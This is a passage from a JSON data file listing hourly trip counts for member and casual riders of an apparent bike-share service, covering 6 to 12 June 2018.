"number_of_trips": 54
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 8:00",
"number_of_trips": 1404
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 8:00",
"number_of_trips": 96
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 9:00",
"number_of_trips": 575
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 9:00",
"number_of_trips": 100
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 10:00",
"number_of_trips": 137
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 10:00",
"number_of_trips": 292
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 11:00",
"number_of_trips": 351
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 11:00",
"number_of_trips": 169
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 12:00",
"number_of_trips": 452
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 12:00",
"number_of_trips": 172
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 13:00",
"number_of_trips": 428
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 13:00",
"number_of_trips": 198
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 14:00",
"number_of_trips": 182
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 14:00",
"number_of_trips": 389
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 15:00",
"number_of_trips": 243
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 15:00",
"number_of_trips": 490
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 16:00",
"number_of_trips": 239
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 16:00",
"number_of_trips": 830
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 17:00",
"number_of_trips": 1569
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 17:00",
"number_of_trips": 300
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 18:00",
"number_of_trips": 1302
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 18:00",
"number_of_trips": 295
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 19:00",
"number_of_trips": 764
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 19:00",
"number_of_trips": 228
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 20:00",
"number_of_trips": 617
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 20:00",
"number_of_trips": 210
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 21:00",
"number_of_trips": 115
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 21:00",
"number_of_trips": 383
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 22:00",
"number_of_trips": 248
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 22:00",
"number_of_trips": 79
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 23:00",
"number_of_trips": 39
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 23:00",
"number_of_trips": 133
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 0:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 0:00",
"number_of_trips": 52
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 1:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 1:00",
"number_of_trips": 18
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 2:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 2:00",
"number_of_trips": 12
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 3:00",
"number_of_trips": 7
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 3:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 4:00",
"number_of_trips": 23
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 4:00",
"number_of_trips": 3
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 5:00",
"number_of_trips": 83
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 5:00",
"number_of_trips": 4
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 6:00",
"number_of_trips": 22
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 6:00",
"number_of_trips": 373
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 7:00",
"number_of_trips": 946
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 7:00",
"number_of_trips": 38
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 8:00",
"number_of_trips": 90
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 8:00",
"number_of_trips": 1392
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 9:00",
"number_of_trips": 563
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 9:00",
"number_of_trips": 123
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 10:00",
"number_of_trips": 265
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 10:00",
"number_of_trips": 142
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 11:00",
"number_of_trips": 179
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 11:00",
"number_of_trips": 333
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 12:00",
"number_of_trips": 446
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 12:00",
"number_of_trips": 215
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 13:00",
"number_of_trips": 403
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 13:00",
"number_of_trips": 182
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 14:00",
"number_of_trips": 252
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 14:00",
"number_of_trips": 394
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 15:00",
"number_of_trips": 225
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 15:00",
"number_of_trips": 526
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 16:00",
"number_of_trips": 773
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 16:00",
"number_of_trips": 319
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 17:00",
"number_of_trips": 1480
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 17:00",
"number_of_trips": 343
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 18:00",
"number_of_trips": 333
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 18:00",
"number_of_trips": 1252
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 19:00",
"number_of_trips": 339
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 19:00",
"number_of_trips": 952
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 20:00",
"number_of_trips": 604
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 20:00",
"number_of_trips": 183
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 21:00",
"number_of_trips": 445
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 21:00",
"number_of_trips": 145
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 22:00",
"number_of_trips": 146
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 22:00",
"number_of_trips": 297
},
{
"member_type": "Casual",
"hour_of_trip": "06/07/2018 23:00",
"number_of_trips": 277
},
{
"member_type": "Member",
"hour_of_trip": "06/07/2018 23:00",
"number_of_trips": 477
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 0:00",
"number_of_trips": 299
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 0:00",
"number_of_trips": 242
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 1:00",
"number_of_trips": 65
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 1:00",
"number_of_trips": 105
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 2:00",
"number_of_trips": 39
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 2:00",
"number_of_trips": 32
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 3:00",
"number_of_trips": 17
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 3:00",
"number_of_trips": 9
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 4:00",
"number_of_trips": 28
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 4:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 5:00",
"number_of_trips": 74
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 5:00",
"number_of_trips": 5
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 6:00",
"number_of_trips": 23
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 6:00",
"number_of_trips": 312
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 7:00",
"number_of_trips": 723
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 7:00",
"number_of_trips": 55
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 8:00",
"number_of_trips": 114
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 8:00",
"number_of_trips": 1213
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 9:00",
"number_of_trips": 118
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 9:00",
"number_of_trips": 635
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 10:00",
"number_of_trips": 295
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 10:00",
"number_of_trips": 201
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 11:00",
"number_of_trips": 228
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 11:00",
"number_of_trips": 355
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 12:00",
"number_of_trips": 279
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 12:00",
"number_of_trips": 466
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 13:00",
"number_of_trips": 499
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 13:00",
"number_of_trips": 321
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 14:00",
"number_of_trips": 330
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 14:00",
"number_of_trips": 431
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 15:00",
"number_of_trips": 611
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 15:00",
"number_of_trips": 338
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 16:00",
"number_of_trips": 349
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 16:00",
"number_of_trips": 897
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 17:00",
"number_of_trips": 400
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 17:00",
"number_of_trips": 1264
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 18:00",
"number_of_trips": 961
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 18:00",
"number_of_trips": 321
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 19:00",
"number_of_trips": 263
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 19:00",
"number_of_trips": 652
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 20:00",
"number_of_trips": 509
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 20:00",
"number_of_trips": 228
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 21:00",
"number_of_trips": 358
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 21:00",
"number_of_trips": 204
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 22:00",
"number_of_trips": 150
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 22:00",
"number_of_trips": 277
},
{
"member_type": "Member",
"hour_of_trip": "06/08/2018 23:00",
"number_of_trips": 178
},
{
"member_type": "Casual",
"hour_of_trip": "06/08/2018 23:00",
"number_of_trips": 78
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 0:00",
"number_of_trips": 68
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 0:00",
"number_of_trips": 154
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 1:00",
"number_of_trips": 88
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 1:00",
"number_of_trips": 40
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 2:00",
"number_of_trips": 23
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 2:00",
"number_of_trips": 42
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 3:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 3:00",
"number_of_trips": 30
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 4:00",
"number_of_trips": 9
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 4:00",
"number_of_trips": 30
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 5:00",
"number_of_trips": 27
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 5:00",
"number_of_trips": 14
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 6:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 6:00",
"number_of_trips": 108
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 7:00",
"number_of_trips": 146
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 7:00",
"number_of_trips": 50
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 8:00",
"number_of_trips": 319
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 8:00",
"number_of_trips": 93
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 9:00",
"number_of_trips": 241
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 9:00",
"number_of_trips": 477
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 10:00",
"number_of_trips": 352
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 10:00",
"number_of_trips": 646
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 11:00",
"number_of_trips": 445
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 11:00",
"number_of_trips": 692
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 12:00",
"number_of_trips": 690
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 12:00",
"number_of_trips": 474
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 13:00",
"number_of_trips": 646
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 13:00",
"number_of_trips": 483
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 14:00",
"number_of_trips": 466
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 14:00",
"number_of_trips": 623
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 15:00",
"number_of_trips": 468
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 15:00",
"number_of_trips": 599
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 16:00",
"number_of_trips": 483
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 16:00",
"number_of_trips": 567
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 17:00",
"number_of_trips": 453
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 17:00",
"number_of_trips": 464
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 18:00",
"number_of_trips": 431
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 18:00",
"number_of_trips": 415
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 19:00",
"number_of_trips": 504
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 19:00",
"number_of_trips": 415
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 20:00",
"number_of_trips": 277
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 20:00",
"number_of_trips": 400
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 21:00",
"number_of_trips": 125
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 21:00",
"number_of_trips": 160
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 22:00",
"number_of_trips": 66
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 22:00",
"number_of_trips": 133
},
{
"member_type": "Casual",
"hour_of_trip": "06/09/2018 23:00",
"number_of_trips": 47
},
{
"member_type": "Member",
"hour_of_trip": "06/09/2018 23:00",
"number_of_trips": 176
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 0:00",
"number_of_trips": 136
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 0:00",
"number_of_trips": 68
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 1:00",
"number_of_trips": 80
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 1:00",
"number_of_trips": 39
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 2:00",
"number_of_trips": 37
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 2:00",
"number_of_trips": 63
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 3:00",
"number_of_trips": 28
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 3:00",
"number_of_trips": 43
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 4:00",
"number_of_trips": 13
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 4:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 5:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 5:00",
"number_of_trips": 18
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 6:00",
"number_of_trips": 14
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 6:00",
"number_of_trips": 62
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 7:00",
"number_of_trips": 116
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 7:00",
"number_of_trips": 40
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 8:00",
"number_of_trips": 75
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 8:00",
"number_of_trips": 213
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 9:00",
"number_of_trips": 331
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 9:00",
"number_of_trips": 197
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 10:00",
"number_of_trips": 324
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 10:00",
"number_of_trips": 531
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 11:00",
"number_of_trips": 517
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 11:00",
"number_of_trips": 406
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 12:00",
"number_of_trips": 415
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 12:00",
"number_of_trips": 631
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 13:00",
"number_of_trips": 499
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 13:00",
"number_of_trips": 641
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 14:00",
"number_of_trips": 391
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 14:00",
"number_of_trips": 606
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 15:00",
"number_of_trips": 600
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 15:00",
"number_of_trips": 416
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 16:00",
"number_of_trips": 417
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 16:00",
"number_of_trips": 495
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 17:00",
"number_of_trips": 500
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 17:00",
"number_of_trips": 317
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 18:00",
"number_of_trips": 429
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 18:00",
"number_of_trips": 285
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 19:00",
"number_of_trips": 212
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 19:00",
"number_of_trips": 464
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 20:00",
"number_of_trips": 357
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 20:00",
"number_of_trips": 187
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 21:00",
"number_of_trips": 230
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 21:00",
"number_of_trips": 95
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 22:00",
"number_of_trips": 173
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 22:00",
"number_of_trips": 88
},
{
"member_type": "Casual",
"hour_of_trip": "06/10/2018 23:00",
"number_of_trips": 43
},
{
"member_type": "Member",
"hour_of_trip": "06/10/2018 23:00",
"number_of_trips": 82
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 0:00",
"number_of_trips": 27
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 0:00",
"number_of_trips": 38
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 1:00",
"number_of_trips": 13
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 1:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 2:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 2:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 3:00",
"number_of_trips": 0
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 3:00",
"number_of_trips": 0
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 4:00",
"number_of_trips": 14
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 4:00",
"number_of_trips": 2
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 5:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 5:00",
"number_of_trips": 58
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 6:00",
"number_of_trips": 189
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 6:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 7:00",
"number_of_trips": 564
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 7:00",
"number_of_trips": 39
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 8:00",
"number_of_trips": 1011
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 8:00",
"number_of_trips": 64
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 9:00",
"number_of_trips": 52
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 9:00",
"number_of_trips": 371
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 10:00",
"number_of_trips": 143
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 10:00",
"number_of_trips": 50
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 11:00",
"number_of_trips": 71
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 11:00",
"number_of_trips": 193
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 12:00",
"number_of_trips": 118
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 12:00",
"number_of_trips": 288
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 13:00",
"number_of_trips": 290
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 13:00",
"number_of_trips": 162
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 14:00",
"number_of_trips": 285
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 14:00",
"number_of_trips": 138
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 15:00",
"number_of_trips": 193
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 15:00",
"number_of_trips": 415
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 16:00",
"number_of_trips": 193
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 16:00",
"number_of_trips": 686
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 17:00",
"number_of_trips": 1372
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 17:00",
"number_of_trips": 262
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 18:00",
"number_of_trips": 1099
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 18:00",
"number_of_trips": 232
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 19:00",
"number_of_trips": 634
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 19:00",
"number_of_trips": 177
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 20:00",
"number_of_trips": 441
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 20:00",
"number_of_trips": 132
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 21:00",
"number_of_trips": 290
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 21:00",
"number_of_trips": 81
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 22:00",
"number_of_trips": 56
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 22:00",
"number_of_trips": 185
},
{
"member_type": "Casual",
"hour_of_trip": "06/11/2018 23:00",
"number_of_trips": 50
},
{
"member_type": "Member",
"hour_of_trip": "06/11/2018 23:00",
"number_of_trips": 101
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 0:00",
"number_of_trips": 49
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 0:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 1:00",
"number_of_trips": 20
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 1:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 2:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 2:00",
"number_of_trips": 0
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 3:00",
"number_of_trips": 11
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 3:00",
"number_of_trips": 0
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 4:00",
"number_of_trips": 3
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 4:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 5:00",
"number_of_trips": 100
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 5:00",
"number_of_trips": 3
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 6:00",
"number_of_trips": 387
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 6:00",
"number_of_trips": 27
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 7:00",
"number_of_trips": 58
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 7:00",
"number_of_trips": 897
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 8:00",
"number_of_trips": 1365
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 8:00",
"number_of_trips": 121
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 9:00",
"number_of_trips": 680
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 9:00",
"number_of_trips": 155
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 10:00",
"number_of_trips": 215
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 10:00",
"number_of_trips": 476
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 11:00",
"number_of_trips": 259
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 11:00",
"number_of_trips": 496
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 12:00",
"number_of_trips": 272
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 12:00",
"number_of_trips": 596
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 13:00",
"number_of_trips": 278
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 13:00",
"number_of_trips": 525
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 14:00",
"number_of_trips": 483
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 14:00",
"number_of_trips": 294
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 15:00",
"number_of_trips": 553
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 15:00",
"number_of_trips": 332
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 16:00",
"number_of_trips": 278
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 16:00",
"number_of_trips": 803
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 17:00",
"number_of_trips": 1405
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 17:00",
"number_of_trips": 322
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 18:00",
"number_of_trips": 1186
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 18:00",
"number_of_trips": 261
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 19:00",
"number_of_trips": 794
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 19:00",
"number_of_trips": 257
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 20:00",
"number_of_trips": 598
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 20:00",
"number_of_trips": 192
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 21:00",
"number_of_trips": 128
},
{
